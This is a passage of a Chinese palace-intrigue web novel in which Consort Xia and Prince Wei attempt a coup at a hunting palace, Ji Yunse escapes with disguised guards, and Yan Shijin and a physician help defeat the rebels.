纪云瑟歇了午晌起来,梳洗更衣之后准备去万氏那边瞧一瞧,崇陶正要将孙雪沅赏下来的糕点放入食盒一同带去,却听陈嬷嬷在外道: “夫人,皇后派人过来了。” 一个小宫女跟在其后进来行了个礼,道: “娘娘让世子夫人过去一叙,轿辇已在院外等着了。” 纪云瑟微露诧异,看着这个生疏的面孔,道: “我早前刚从碧霄宫出来,娘娘又寻我,不知是有何事?” 小宫女一笑,道: “娘娘午睡之后有些烦闷,又想起似有什么事忘了与夫人说,故而请夫人再走一趟。” 纪云瑟的目光落在院门口依稀可见的四抬轿辇,颔首道: “好。” “只是我才刚起身,烦请稍候片刻,我换件衣裳就来。” 小宫女应声告退,纪云瑟示意崇陶关上门,崇陶看着她突然凝重的神色,问道: “姑娘,怎么了?” 纪云瑟道: “她不是皇后身边的人。” 孙雪沅身边的宫女内监她都见过,可以肯定,凤仪宫没有刚才的那个宫女。 而雪沅也绝不可能让一个陌生面孔过来请她,况且,今日雪沅说过,午后永安帝会回碧霄宫,又怎么会让她一个外命妇这个时候过去? 其中一定有鬼。 崇陶道: “姑娘的意思是……” 纪云瑟想起前几日沈绎向她说的话,那日,她还来不及追问他是什么意思,沈绎已经被太医署的人唤走了,这两日又一直没见着他。 纪云瑟无来由一阵不安,她攥紧了手中的帕子,道: “总不会是……” 宫里出什么事了?所以,雪沅急着找她商量? 还是,雪沅出事了? 不管怎样,她身为晏时锦的妻子,与帝后二人的关系最为亲密,必须得去瞧一瞧。 她略思一瞬,道: “你立刻把破竹叫来……不!让他悄悄从后门进来,然后,你去替他准备一身……” 她附在崇陶的耳畔吩咐了几句,崇陶立刻出门去办。 一刻钟之后,纪云瑟在婢女的随同下,坐上了碧霄宫派出来的轿辇。 整个行宫有些寂静,她倒是不奇怪,今日永安帝带了皇子们和部分朝臣试围,或许还没回来。 在碧霄宫外,两个侍卫拦下了跟在纪云瑟身后的婢女,面无表情,道: “夫人进去就好,她在此候着。” 纪云瑟诧异道: “这是何故?” “我哪回入宫不是带着婢女?若是需要人服侍换个衣裳绾发匀脸的,难不成还劳烦娘娘宫里的人?” 眼见这位世子夫人含着怒意,随同来的小宫女向二人使眼色,笑道: “只是个婢女而已,望两位大人通融通融。” 纪云瑟道轻哼一声,道: “我竟不知如今羽林卫也多了这些规矩,明日,倒要找谢绩问一问了。” 听她提到谢绩,两人蹙了蹙眉,对看了一眼,终是抬手让二人进去。纪云瑟迈步入内,原本趾高气扬的神色在瞬间敛去,面色逐渐沉肃。 这样看起来,真的是雪沅出什么事了? 她看了一眼跟在身侧同样凝着眉目眼观六路的破竹,示意他静候其变。 幸好破竹原本面容就俊俏,被崇陶稍加脂粉覆盖更是如女子一般艳丽,况他会缩骨之功,换了婢女的衣裙,从身形上来看,也像个身量不高的娇软姑娘。 但他的声音无法改变,故而纪云瑟特地交待了他,尽量不要说话。 二人跟着小宫女行至碧霄宫,刚刚踏上殿外檐廊,还未看清楚殿内的情况,就被一个突然的力道粗暴地推了进去。 一同踉跄进来的破竹皱了皱眉,看着推向自家主子的一双手目露狠意,纪云瑟侧头瞧了他一眼,示意他不要轻举妄动。 待他们看到殿内的场景,不由得大吃一惊! 孙雪沅和一众嫔妃坐在下首的一排圈椅上,脸上还残存着泪痕,每人的口中被紧紧塞着一团布条,脖子上抵着一把利剑,身后是头戴兜鍪的黑衣甲卫。 而端坐正上方主位的,却是许久不见的夏贤妃,她姿态悠然地抚了抚手边的月白玉如意, “别来无恙,纪大小姐!” 阴冷如蛇信子般的声音从殿内传来,夏贤妃嘴角勾起一抹冷笑,缓缓捋了捋衣袖,端起手边的茶碗饮了一口,道: “哦,不对,如今该唤世子夫人了!” 纪云瑟敛下心神,盈盈一拜,道: “臣妇参见贤妃娘娘。” “来人,给世子夫人看座!” 夏贤妃向一侧的黑衣甲卫看了一眼,随即有一人上前,将纪云瑟按坐在最末的圈椅上,同样将剑抵在她的颈侧。 破竹亦与碧霄宫的其他宫人一同被赶至偏殿角落里,看着甲卫们手中的长剑,颤颤发抖。 纪云瑟怎么可能还瞧不出是怎么回事,她冷笑一声: “贤妃娘娘,您这是要谋反么?” 夏贤妃冷笑一声: “谋反?” “等你们都死了,檐儿登基为帝,本宫做了太后,谁敢说本宫是谋反?” 纪云瑟眸光动了动,似乎才想明白了一些事,道: “所以,娘娘您为了谋反,连自己的亲生骨肉都可以牺牲么?” 如此看来,曦和公主远嫁,根本是夏贤妃的一步棋,到底只是为了把晏时锦引开,好对永安帝和后宫动手,还是有别的目的? 她虽不大通朝政,但也听夫子讲过一些史书典籍,若是和亲的话,是否有借南越兵力谋反之意?若是如此,晏时锦岂不是落入了夏贤妃的圈套?他此番送亲,怕是步步惊心、凶险万分。 纪云瑟不由心下一沉,暗暗攥紧了双拳。 夏贤妃闻言亦是面色骤变,面上的笑意隐去,换上了沉戾阴狠: “牺牲?谁说本宫要牺牲昭儿?” “等檐儿登上帝位,本宫自会让她风光回朝!” 她往身侧看了一眼,随即有宫人掏出一大块粗布,将纪云瑟的嘴亦堵了个严严实实。 殿门再次打开,只见数名黑衣甲兵押着永安帝走了进来,身后跟着的是身着明黄骑服的蔚王赵檐。 第108章 暮色四合,碧霄宫内烛火昏黄,夏贤妃一袭正红色宫装,发间金凤步摇熠熠生辉,竟然亮得刺眼,她看到永安帝踏入殿中,习惯性地起身相迎,换上了和婉的笑意。 “臣妾参见陛下。” 永安帝冷戾目光睨向两旁的黑甲卫,在天子的威慑下,二人松开了他的手,退至门口。 永安帝看向夏贤妃和赵檐,冷笑一声: “好啊!” “好一个贤妃,好一个蔚王!” 夏贤妃抬眸看着眼前隽挺依旧,连眉目都似初见时模样的帝王,却早已没有了一丝眷恋,自行收了欠身礼,抚了抚衣袖,道: “臣妾侍奉陛下二十年,为陛下生儿育女,打理后宫,自问体贴入微,从未有半分懈怠,没有功劳亦有苦劳,如今,只想向陛下讨个恩赏。” 她从袖口取出空白诏书,双手奉上,却被永安帝挥手打落,冷冷开口道: “休想!” 夏贤妃神色未变,弯腰拾起那张诏书,指尖轻轻拂去面上灰尘,赵檐上前一步,将诏书接过,面无表情地双手捧着送至永安帝面前,道: “父皇,只要您写下立嗣和退位的诏书,儿臣可保皇后和弟妹性命。” 永安帝一掌扇了过去,怒喝道: “逆子!有本事杀了朕!” “朕宁可死,也不会将江山交给你这等弑父杀君的乱臣贼子!” 赵檐抚着吃痛的脸颊,擦了擦唇角的血迹,面露狠意。夏贤妃冷笑一声,轻轻击掌。 只见几名黑面甲卫推 搡着被绑住双手,堵住嘴的四皇子赵榕、景和公主赵沐暄及晟和公主赵沐晗缓缓脉入殿内,年岁不大的几人皆是满脸泪痕抽噎着,看到永安帝下意识想要跑过去,却被死死拽住。 坐在圈椅上的杨妃、杜嫔和孙雪沅看见他们,忍不住想起身却被颈侧的利剑逼得动弹不得。 最后有两名甲卫拖着一个血淋淋的人影进来,扔在地上。 众人定睛一看,竟是裕王赵檀!他双目紧闭,外裳褴褛透出鲜红的伤口,脸上血污斑斑,不省人事,只剩胸口微微起伏,尚存一息。 众妃嫔吓白了脸,李妃呜咽着拼命挣扎着想扑过去,却被黑甲卫死死按住。 夏贤妃神色平静,语气却冷如冰刃: “陛下,臣妾与檐儿走到今日,已无退路。裕王不过是个开始,若您还不写下诏书,那下一个,便是祈王、景和、晟和公主,还有…” 她一个一个地看了过去,最后的目光落在一脸惊恐的孙雪沅身上, “您最爱的女人,和她腹中的皇子!” “是您最想要的嫡子,若是,他能够有幸出生的话。” 她知道,有人一直等着她出手害皇后,但区区一个嫡子有何了不起,她何曾放在心上?直接夺了这江山不是更好? 永安帝怒火中烧: “放肆!你们弑君篡位,天下臣民岂会容你们!” “天下人?” 夏贤妃轻笑一声, “天下人只知,陛下在秋狝中遇刺,本就已受伤,而见裕王因救驾而身死,更是悲恸过度,弥留之际,传位于唯一成年的皇子-蔚王,此乃天命所归,众望所趋。” 赵檐将空白诏书和玉玺放在永安帝面前的案桌上: “父皇,您有一日时间考虑,明日此时若无诏书,儿臣就只能用非常手段了。” 永安帝死死盯着那方玉玺,眼中几乎要喷出火来,夏贤妃转身欲走,又似想起什么,回头淡笑一声: “对了,陛下不必指望有谁救驾。谢绩已伤重被俘,翻不起波浪。” “至于晏时锦,就算他有命活着回来,孤身一人也无力回天,不过是死路一条!” 她颇具意味地看了一眼纪云瑟,带着一抹笑意,与赵檐一同步出殿外。 夜凉风起,殿外秋风呼啸,卷起院内残叶,仿佛预示着风雨欲来。 黑衣甲卫奉命散去,退至殿外把守,嫔妃们踉跄着过去抱住了自己的孩子,哭泣声一片,昏暗的烛火映照着满殿的惊恐与绝望。 李妃扑到裕王身边,颤抖着手指探向他的鼻息,哽咽着一遍遍唤他,却得不到半点回应。宫人们哆哆嗦嗦地行至自家主子身旁,泣不成声。 江守忠纵是见过许多风雨,此刻亦是面色苍白,手足无措地上前扶着永安帝,问道: “陛下,这该如何是好……” 永安帝摆摆手: “先别慌,诏书没有到手,那逆子还不敢动朕。” 他先看了赵檀的伤势,向江守忠道: “你随身带着的护心丹先给他吃两粒,都是皮外伤,暂时不会有大碍。” 江守忠连忙从荷包内取出丹药,颤抖着塞入赵檀口中。 孙雪沅安抚了赵沐晗后,先去瞧纪云瑟: “云瑟,你没事吧?” 纪云瑟摇了摇头,心中却在思索着夏贤妃的话,孙雪沅看出了她的心思,安慰道: “别担心,世子智计无双,武功亦不俗,定能化险为夷。” 纪云瑟点点头,她相信晏时锦不会那么容易被人做局,否则,夏贤妃不会费尽心思把她一同请到这碧霄宫来做人质。 她更担心的是眼下他们的处境。孙雪沅也明白,她挺着肚子走到永安帝身边,握住他有些微凉的手,道: “陛下,诏书不能写。” “臣妾和公主,不怕死。” 永安帝另一只手覆上她的手背,点点头,道: “朕知道。” “朕早知贤妃将昭儿送往南越有别的目的,只是没想到他们母子俩竟敢在秋狝时逼宫。” 江守忠道: “陛下,如今上直卫已经有部分被夏氏控制,羽林卫谢绩生死不明,唯有京北大营的兵马离得最近,但需得有陛下亲笔手诏方可调动。” 可是如今守卫森严,恐怕连只苍蝇都飞不出去。 纪云瑟询问式的看向身旁的破竹,破竹会意,点了点头。她立即起身,行至永安帝面前行礼,道: “臣妇或许有法子将手诏传递出去。” 永安帝目光微动,纪云瑟继续道: “请陛下恕罪,臣妇今日得贤妃假传皇后娘娘懿旨入碧霄宫时,就察觉有些不对,便将府中的侍卫扮成婢女模样带了过来。” 破竹在她的示意下上前一步跪下行礼: “小人见过陛下。” 众人听见他的男子声音,皆吓了一跳,永安帝倒是面不改色,抬手示意他起来,问道: “你有何法子?” 破竹道: “小人曾学过驯养苍鹰,见围场附近苍鹰众多,小人可以用哨声将它们吸引过来,将手诏带出碧霄宫,交由小人的兄弟送往京北大营。” 永安帝抓住他的肩膀,道: “有几分把握?” 破竹略思一瞬,道: “苍鹰飞行快而灵活,不容易猎杀,小人有七成把握。” “七成?” 一旁的江守忠先拍手跺起脚来,“这万一被发现了,可不是负薪救火?” 永安帝睨了他一眼,看向破竹,颔首道: “好,你去送。” 风险再大,也要放手一搏。 他行至西侧殿的案桌旁坐下,思了一瞬,撕下一侧明黄的衣角,提笔疾书。 片刻后,永安帝搁笔,将那片明黄衣角递给破竹。 破竹双手接过,行至偏殿的屏风后,脱下了不适合他尺寸的婢女外裳,里面是平日常穿的玄色侍卫服,身材亦恢复了平日的模样。 他推开里侧的槛窗,往外瞧了一眼后,随即悄无声息地跳出窗外,沿着柱檐迅速窜上了庑殿顶。 夜色沉寂,他深吸一口气,对着围场的方向吹响几声短促的哨音,与普通的鹰唳声十分相像。殿外的黑甲卫虽然听见了,但这里毗邻密林,有许多鸟兽出没,只往高空看了看,便没再多留意。 片刻后,果然有几只苍鹰从围场方向盘旋而来,落在碧霄宫顶,一直匍匐在殿脊的破竹从袖中取出细绳,将诏书系紧在一只苍鹰的腿上,又发出了几声哨音。 那苍鹰展翅翱翔,化作一道黑影消失在夜空中。 与此同时,碧霄宫旁的小院内,流水和穿杨听到了明显的鹰唳声,警觉地对视一眼,他们立刻明白,这是破竹向二人发出的信号。 果不其然,立刻就有几只苍鹰从碧霄宫飞出,盘旋在行宫上空。流水迅速吹响同样的哨声,那几只苍鹰俯冲而下,落在院内。 崇陶和陈嬷嬷还在房中担忧纪云瑟的安危,骤然听见外头的声响,吓了一跳,出门来看,却见院子里有几只大老鹰,羽翼微张,眼神锐利。 穿杨立刻发现了其中一只苍鹰腿上绑着东西,上前取下后看了一眼 ,脸色大变。 陈嬷嬷曾是长公主身边的人,一眼认出那道明黄是天子的衣饰,而上面的字迹遒劲,还盖着当今圣上的玉玺,赫然是皇帝的手书。 她颤颤地指出来,几人对视了一眼,才明白到底发生了什么事。意识到事态紧急,陈嬷嬷道: “陛下这是写给京北大营的信,必须立刻送出!” 流水和穿杨点头,二人恐人发现端倪,即刻将苍鹰重新放飞。 经商议之后,由擅长在黑夜行事,轻功好的穿杨出行宫送信,他将诏书揣入怀内,倾身跳上院墙,避开巡逻守卫,身形如同夜风般悄无声息消失在夜色中。 第109章 时辰一息一息过去,碧霄宫内气氛愈发凝重,所有人度日如年。 破竹已经及时将手书送出,京北大营与西山之间相隔不算太远,若是算上流水和穿杨送信,还有营兵们整伐行军的脚程,次日午时总能赶到。 羽林卫一直由谢绩统领属皇帝亲军,不可能被夏氏控制,在京城她最多是掌控了上直卫的其他几卫人马为赵檐所用,满打满算不过五六千人。 而西山大营留戍的卫兵就有两万人,对付他们并不费力。 可是殿内众人不眠不休地熬到过了申时,却依旧没有听见外头有什么动静。若是救驾军过来,至少应该听到马蹄声或号角声才对。莫非是出了什么岔子? 时间仿佛凝固,每个人的心都悬在半空。 日暮西垂时,终于,殿门被推开,进来的却是蔚王赵檐。 他面色沉戾,早已没有了从前的一丝纨绔气息,环顾了一圈后,命人将妇孺宫人全部送到偏殿,只留永安帝二人单独说话。 纪云瑟却被另行押送到西侧耳房,破竹迈着小步坚持要跟着自家姑娘,甲卫没有发现异样,允她主仆二人同去。推开门,只见夏贤妃端坐在上首的圈椅,身后站着四名黑衣甲卫,她放下手中的茶碗,缓缓掀眸看了过来: “云瑟呐,可知本宫为何找你?” 纪云瑟站定却并未行礼,拢了拢散乱的鬓发,面色平静: “贤妃娘娘请我来,总不会是为了叙旧。” “本宫就是喜欢跟你这样的聪明人说话。” 夏贤妃眼底寒意森然,起身向她靠近,直言道: “晏时锦不知所踪,本宫要从你身上取一样东西,引他现身。” 纪云瑟浑身一凛,似十分紧张地双手扭着腰间的荷包,勉强挤出一抹笑: “娘娘此话何意?从我身上,取什…什么东西?” 夏贤妃上下打量着她: “你说呢?” 说着,也不等她答话,看了一眼身旁的黑甲卫,立刻有两人上前。 纪云瑟心一狠,向身后的破竹使了个眼色,破竹会意,突然一个箭步冲上去,抽出腰间一把短剑擦过最近的一名黑甲卫咽喉,霎时鲜血四溅,其他三个甲卫立时扑过来。 夏贤妃诧异间还没反应过来,纪云瑟已经从荷包中摸出一直藏着的迷药粉,放入她的口鼻处,抢过她手中的帕子捂紧。 夏贤妃瞪大的眼眸逐渐阖上,整个人无力瘫软在纪云瑟的怀中,她拔出头上发簪抵在夏氏颈侧,低喝一声: “都住手!” 几名黑甲卫动作一顿,破竹手中短刃舞起剑花,身子灵活穿梭流转间,几人顷刻倒地,鲜血从喉颈喷涌而出。 纪云瑟将夏贤妃放倒在地,看着一屋子的血迹抚着胸口深呼吸了几口气,敛了敛心神,行至门后,将门打开一道缝隙,观察殿外的动静,破竹上前悄声问道: “小小姐,是否去救其他人?” 纪云瑟瞧了一眼屋外随处可见的黑衣甲卫,摇摇头: “只有你一人会武功,救不了谁,咱们先等等。” 她让破竹把夏贤妃捆绑起来,再想法子看看能不能逃脱,既不能救人,能逃一个是一个。 目光落在地上的黑甲卫,纪云瑟道: “咱们换上他们的衣裳!” 破竹会意,迅速将其中两人的黑袍脱了下来,在他们身上擦去了一些血迹后递给纪云瑟。他自己先行脱下婢女外衫,换了其中一件。 纪云瑟正要直接套上,忽然,从窗外翻入一个黑甲卫,破竹随即上前相护在自家主子身前,两人过了几招后,那黑影瞧见了一旁的少女,随即两招将破竹制住,低声道: “别打了,是我!” 纪云瑟见他摘下兜鍪,露出一张熟悉的脸,捂着嘴差点叫出了声音: “紫电?” 紫电松开了破竹,上前抱拳一礼,道: “夫人,世子命属下先回来保护夫人。” 他向纪云瑟解释了原委,原来晏时锦送赵沐昭出嫁还未到南境时,很早已察觉到了不对的他,查到夏贤妃将女儿嫁入南越,是以赵沐昭为质并许诺未来五年南境五州的铁矿开采权做交换条件,向南境借兵谋反篡位。 同时,夏氏这些年悄悄掌控了不属于京卫司管辖的上直卫部分亲军暗中为蔚王效力,趁永安帝出宫到西山围场时逼宫。 紫电道: “但恐怕夏氏并未料到陛下今年突然提前了秋狝之期,故而并没有等来南越的援军,仓促动手。” 纪云瑟有些着急: “世子如今在哪儿?他怎么样了?” 紫电看了她一眼,实话实说道: “属下不知,世子刚到南境时,就吩咐属下和青霜快马赶回京城,青霜前往接应北疆赶来的成安侯世子,属下只需负责保护夫人。” 纪云瑟: “……那他身边没人了?” 紫电只得道: “世子…他智武双绝,想必…能自保无虞。” 纪云瑟一阵无语,这人也太自负了!这种关键时刻,他竟然把身边的人都遣走了,她身边有破竹几个,保命足够,哪里用得着紫电? 但事已至此,只能先想办法逃了再说,她向紫电说了一通破竹已将陛下手诏送出一事,问道: “你潜入时,可有见京北大营的兵马过来?” 紫电道: “属下昨日就已到了碧霄宫,准备接应夫人,直到今日见夫人独自被送到此,才有机会现身与夫人会合。” 他并没有说出,他潜伏在碧霄宫时,听见蔚王和夏贤妃密谈,京北大营中有暗中投靠之人,若是生面孔去送信,哪怕是陛下的手书,恐怕也没有这么容易出兵,所以夏氏才敢提前动手。 他看了一眼窗外渐暗的天色,道: “天一黑,属下就护送夫人出宫。” 他自知自家主子的脾性,只有夫人安全,晏时锦才能没有顾忌全心对付反贼。 纪云瑟道: “就我们走?” “陛下和皇后怎么办?” 紫电直言道: “蔚王没有拿到继位诏书之前,不敢轻易动陛下,至于其他人,世子说……” “属下救不了太多。” 他抚了抚额头,并没有说晏时锦的原话:“让他们听天由命去吧。” 纪云瑟原本想着来了个帮手,而且紫电武功高强,至少相当于五个破竹,或许能考虑再救几个人,但他所言有理。毕竟后宫多是不会武功的妇孺,若是打草惊蛇,恐怕大家都走不成,便点了点头: “好,咱们先走!” 他们三人分别戴上兜鍪,各自取了一把佩剑,从后窗翻出,借着暮色掩护,紧靠墙根阴影穿入一侧的游廊,纪云瑟身量不高,只得一路踮着脚尖跟在二人身后。 突然一阵厉哨传来,有一惊恐的声音响起: “来人呐!贤妃娘娘被袭,纪氏逃了!” 三人身形稍稍顿了顿,但没有停下脚步,从游廊处快到宫门时,有人在后面叫道: “你们几个要去哪儿?” 三人置若罔闻,继续往前走,守卫立刻发觉不对劲,拔出腰间长剑向他们走来,厉声道: “站住!” 紫电朝破竹使了个眼色,二人亦拔出剑,剑光闪过,紫电上前开路,破竹断后,将纪云瑟护在中间。 推搡护拉间,纪云瑟原本就戴着不合尺寸的兜鍪被打落,一黑甲卫借着院内的光亮认出了她,叫道: “是晏世子夫人纪氏在此!” 顷刻间,院内各处的黑甲卫闻声皆跑了过来,剑影纷飞,血光四溅,纵使紫电和破竹的武功不俗,但带着完全不会武功的纪云瑟,行动变得异常艰难。 黑甲卫如潮水般涌来,剑锋交错间杀机四伏。虽然紫电招式凌厉,也被逼得步步后退,破竹应对武功高强的黑甲卫更加渐感吃力。 纪云瑟紧紧攥着手中的剑,却帮不上一点忙,围上来的黑甲卫越来越多,紫电和破竹被逼得向外移动。 突然一道寒光擦着二人之间的空隙朝纪云瑟直刺而来,她下意识握紧抬剑去挡,只觉双手虎口一震,长剑被震飞,而她也被骤强的力道掀翻在地。 紫电和破竹近在咫尺却被几名黑甲卫缠住,分身不得,眼睁睁地看着她被那个黑影继续挥剑刺来。 纪云瑟手边已经没有任何可以抵挡的物什, 双臂被方才的冲击震得一时无法动弹,只能眼睁睁看着那锋利的剑刃朝着自己胸口直直刺来,心中顿时一片冰凉。 剑锋逼近,她本能地闭上了双眼,等待着那致命一击的降临。 然而,预想中的痛楚却没有到来,耳边只听“哐当”一声响,是刀剑碰撞之声,紧接着,她落入一个温暖的胸膛。 纪云瑟睁开眼,只见一个人紧紧抱着她,挡在她面前,手中长剑翻飞,一剑刺入那甲卫的咽喉。 待他抽剑回头,那般熟悉的面容映入眼帘,纪云瑟几乎不敢相信自己的眼睛,怔了一瞬后,兴奋地拥紧了他: “你终于回来了!” 晏时锦拍了拍她的脊背,安抚道: “不怕,有我在!” 他眉宇间依旧是那般沉静从容,似乎一切尽在掌握。 随同他而来的数百名羽林卫迅速冲入院内,与黑甲卫展开激烈厮杀。晏时锦将纪云瑟护在身后,剑势如虹,所向披靡,不多时,院内的黑甲卫被尽数斩杀或俘虏。 晏时锦看了一眼不远处的碧霄宫,握了握妻子的手,道: “你先跟紫电出去,我去救圣上和皇后。” 纪云瑟摇摇头: “不行,紫电跟着你,我有破竹他们就够了。” 晏时锦抚了抚她的鬓发,收起了眼中的眷恋,道: “听话,快走!” 纪云瑟攥紧了他的衣袖,待看到他眼中不容置疑的神色,才勉强点了点头,道: “小心!” 第110章 冷月如霜,碧霄宫外,尚有羽林卫与黑甲卫对峙,刀光剑影交错,呼声震天,血雨纷飞。 但黑甲卫明显处于下风,逐渐被羽林卫的士气压制,溃散败退。 纪云瑟脱下繁重的黑色外袍,被紫电、破竹二人一左一右簇拥保护着,沿着宫墙根往外走。 回至小院,听见是她的声音,流水才过来开了门。崇陶哭着上前拥紧了她,抽抽噎噎地说不出一句话来,陈嬷嬷亦是将快跳到嗓子眼的心落了回去,直念了几句阿弥陀佛。 纪云瑟看着院子里另一个熟悉的面孔,惊异道: “夫子?” 沈绎立在夜色中,见她全须全尾地回来,拧紧的眉心舒展,深深地松了口气。 崇陶终于发出了声音: “沈夫子说您被抓了去,可把奴婢吓死了,才刚还跟流水商议如何救您出来呢,幸好您没事!” 她抹了一把泪,又紧紧地抱住自家姑娘,生怕她一个不留神就消失了。 沈绎看了一眼她身后的紫电,大概明白了原委,道: “回来了就好。” 纪云瑟松开崇陶,问沈绎道: “夫子您没事吧?” 又看向陈嬷嬷,问道:“可有去瞧瞧公爹和婆母他们?” 沈绎安慰她道: “夏贤妃和蔚王只控制了碧霄宫,并未对外廷动手,毕竟他们的目的是得到陛下传位的诏书,不可能将所有臣子都抓起来,否则便是坐实造反,搬起石头砸自己的脚。” 紫电看了沈绎一眼,眸光中流露一丝异色,待与他眼神交汇后,却默契地并没有开口。 纪云瑟稍微放下心来,得知是穿杨去往京北大营送信,却到如今还未回来,且援军亦一直未到,不免皱眉问紫电: “这是为何?” 以穿杨的武功,不至于说逃不出去,或是路上出了什么岔子。 紫电只得说了实话,纪云瑟吃了一惊: “你是说,京北大营还有蔚王的人?” 如此说来,援军根本难以过来,那晏时锦只带着部分羽林卫,怎么与蔚王抗衡? 紫电点点头: “世子亦是才知晓不久,还来不及知会陛下。” “不过夫人放心。成安侯世子已带着部分北疆军南下,应该早已到了京郊,由青霜去接应,想必很快能够赶来。” 破竹亦道: “小小姐不必担心穿杨,若遇危险,他会随机应变。” 沈绎却清楚她担心的是什么,他微不可察地叹了口气,似细细看了看她的神色,顺势抓起她的手腕切脉,眉心蹙了蹙,道: “你脸色不好,可是一直没吃东西?” 纪云瑟没想到他连这个也能瞧出来,点了点头,破竹道: “小小姐已经一整日滴水未进。” 崇陶闻言,立刻去给她取一直温在灶上的米粥,沈绎见状,伸手接过,向崇陶道: “先扶她进去。” 纪云瑟被扶进屋内坐下,崇陶先给她端来水净手,才倒了一杯茶,看她喝下了,沈绎将米粥放在桌上,道: “你先吃了,咱们再说下一步该如何应对。” 纪云瑟到了此刻紧绷的神经稍稍松懈后,才觉得实是饿极了,端起碗,大口吃了起来。 她一边吃着,一边思索着说道: “咱们这里人多,紫电,不如你赶去一趟京北大营,穿杨毕竟不是朝廷中人,不知如何与他们周旋,你去告知他们当前局势,让他们明白其中利害,料想他们不敢不遵圣意。” 紫电早就奉自家主子之命誓死保护夫人,自是不能离开,正要推辞,却听见沈绎先道: “不必了,如今局势未明,你好好地在此等着消息,切莫想其他,更不能轻举妄动。” 他的语气虽缓,似安抚,却带着不容置疑的意味。纪云瑟刚把粥吃完,抬眼看着他,还想说些什么,却觉得头突然一沉,随即眼前一黑,瘫倒在桌面上。 耳畔崇陶和沈绎的声音愈来愈模糊,她失去了知觉…… “姑娘,姑娘您怎么了?” “她没事,此药只是让她暂时熟睡,以免她忧惧伤神。” “给她换身婢女的衣裳,你们暂且留在此处等消息。” 见沈绎拍了拍手中残余的药粉,崇陶才明白过来,点头应声,看他欲走,忙问道: “沈夫子,外面不安全,您要去哪儿?” “我还有事需处理。” 沈绎看了一眼趴睡在桌上的少女,交待了紫电和破竹几句。紫电想起临行前自家主子的交待,罕见地听从了这位文官太医的吩咐。 沈绎转身离开,他和夏贤妃之间的账,该好好算一算了。 如墨的夜色笼罩整个行宫,碧霄宫内零落摇晃的宫灯散下昏黄的光亮,映照着殿内错落着飞速晃动的黑影,耸立的宫墙将院内的刀光剑影与浓重的血腥之气隔绝,行宫之外的山林中散落着点点星火,似隐隐交织成一张密网,悄然包围整座行宫,慢慢收拢。 这样的夜晚注定不会平静度过,暗流涌动下,随时都可能掀起惊涛骇浪。 终于,宫门大开,如黑暗中骤开一张巨口,吞噬万物。 碧霄宫内杀伐之声渐止时,东方已露鱼肚白,晨曦微光缓缓洒入殿内,映照着满地狼藉与横陈的尸首。 永安帝身着玄色龙袍,静静地立于殿前石阶之上,他目光沉冷,似冬日寒霜,居高临下地看着被羽林卫控制,跪伏在地的夏贤妃。 夏贤妃鬓发散乱,面色苍白如纸,却仍强撑着不肯低头,她抬眼望向峻肃一如从前的天子,冷笑一声,突然向颈侧的衣领咬去。 一旁的羽林卫措手不及,正要阻挡,却见一粒黑影迅速落入她口中,立时吞下。 夏贤妃轻笑: “成王败寇,既然输了,臣妾并不打算苟活,陛下也休想从臣妾口中问出半句话!” 永安帝蹙紧眉头,却见一人从侧方拾阶而上,道: “贤妃娘娘尚有许多事未了,竟想这样轻易赴死么?” 沈绎缓步而来,眸色清冷,先向永安帝行了个礼: “微臣参见陛下。陛下放心,贤妃娘娘暂时死不了。” 夏贤妃不可思议地看向他,待发现自己准备好的本该顷刻就发作的烈性毒药服用下去竟没有半分感觉后,她瞳孔骤缩,明白了过来,嘴唇微微颤抖,指着面前的浅衫男子: “你,你对本宫做了什么?” 沈绎神色淡然,目光平静地注视着她: “娘娘应该问 的是,微臣如今想做什么。” 他向永安帝跪地俯首: “陛下,微臣要替父伸冤。” “更要替二十年前被毒害的皇长子,和太后娘娘讨一个公道!” 夏贤妃闻言,浑身一颤,仿佛被雷击中,瞬间瘫软了下去。 ~ 纪云瑟再睁眼时,发现自己躺在厢房内,有刺眼的光亮从窗棂透进来,周遭一片寂静。 她缓缓坐起身,脑袋仍有些昏沉,但却神志清明,没有了昼夜未眠的疲惫。 她揉了揉太阳穴,所有的记忆如潮水般涌来,那些刀光剑影、血色弥漫的画面一幕幕闪现在脑海中。 结束了么? 她立时掀开被衾,下床趿了鞋向房门走去,正巧崇陶端了水过来,忙放下木盆,过来扶着她坐下,纪云瑟拉住她的手,急切问道: “怎么样了?” 崇陶神色如常: “姑娘,已经结束了。” “成安侯世子带着兵马及时赶到,解了行宫之围,夏贤妃和蔚王的叛党悉数被擒,局势已定。” 纪云瑟微微松了口气,又问道: “为何他还未回来?” 崇陶愣了愣,方道: “姑娘放心,姑爷已经遣人来说要审问叛党,今日恐不能回。” “让姑娘您好好休息两日。” 纪云瑟微微攥紧了衣袖,道: “紫电呢?” 崇陶直言道: “穿杨已经回来,咱们这里没什么事,他自然帮姑爷审犯人去了。” 顿了顿,她颇有几分自豪,道: “姑娘,您不知道,昨日您刚睡下不久,穿杨就领着京北大营的兵马赶了过来。您昨儿个还说他不是朝廷中人,怕他这事办不成,谁承想,他竟然真的说动了京北大营的统领,带兵前来救援。” “奴婢就说嘛,二小姐给您挑的人,怎会有错?” 其实也不难料,毕竟那是陛下的亲笔手书,那统领总得掂量掂量,估摸着也让人打听到了北疆军已经到了京郊的消息,这才不敢怠慢。 不过,纪云瑟在意的却不是这个,她的目光落在门外,那抹未散的晨雾中,似还残留着昨夜厮杀的血腥气,突然一阵不祥的预感袭来,她抓住崇陶的手,默了默,问道: “是不是晏时锦出事了?” 110-114 第111章 崇陶见自家姑娘紧张的模样,不禁嗤笑一声,道: “姑娘您想哪儿去了?姑爷没事!” 纪云瑟却有些不信: “你见到他了?” 崇陶摇摇头,道: “虽未见着,但姑爷的确派人过来传话了,紫电也是听候姑爷的吩咐去的。姑娘您就放心吧!” “奴婢也是一早听说的,昨夜成安侯厉世子带着北疆军和京北大营的两万兵马赶了过来,围住了碧霄宫。但蔚王挟持了陛下,援军皆不敢上前。” “幸好有姑爷在,听说他藏在暗处,趁蔚王与厉世子对峙之际,突然一箭射中了蔚王,陛下趁机脱身,厉世子立即冲上去,将反贼尽数擒下。” 听崇陶绘声绘色地描绘了一番,纪云瑟才稍稍安下心来,洗漱过后,用了早膳。 但她还是有些不明白,向一旁收拾碗箸的崇陶问道: “昨夜,我怎的突然就睡着了?” 她记得自己刚回了小院,话还没说几句,就没了丝毫印象。 崇陶回避了她的目光,笑道: “姑娘这两日又累又紧张,睡得快也是有的。” 纪云瑟又问道: “对了,沈夫子呢?” 崇陶怕她又担心什么,只得道: “今儿个一早,见外边没了动静已安全,沈夫子就走了。” 纪云瑟狐疑地看了她一眼,将她脸上的心虚收入眸中,颔首道: “没事就好。” 心里却隐隐觉着哪里不对劲儿。 